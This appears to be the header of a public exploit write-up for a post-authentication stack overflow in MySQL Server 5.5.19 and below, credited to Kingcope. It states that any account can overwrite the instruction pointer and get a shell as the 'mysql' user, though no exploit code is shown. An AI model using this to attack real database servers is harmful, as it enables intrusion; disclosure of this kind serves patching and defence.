 MySQL Server exploitable stack based overrun
 Ver 5.5.19-log for Linux and below (tested with Ver 5.1.53-log for suse-linux-gnu too)
 unprivileged user (any account (anonymous account?), post auth)
 as illustrated below the instruction pointer is overwritten with 0x41414141
 bug found by Kingcope
 this will yield a shell as the user 'mysql' when properly exploited
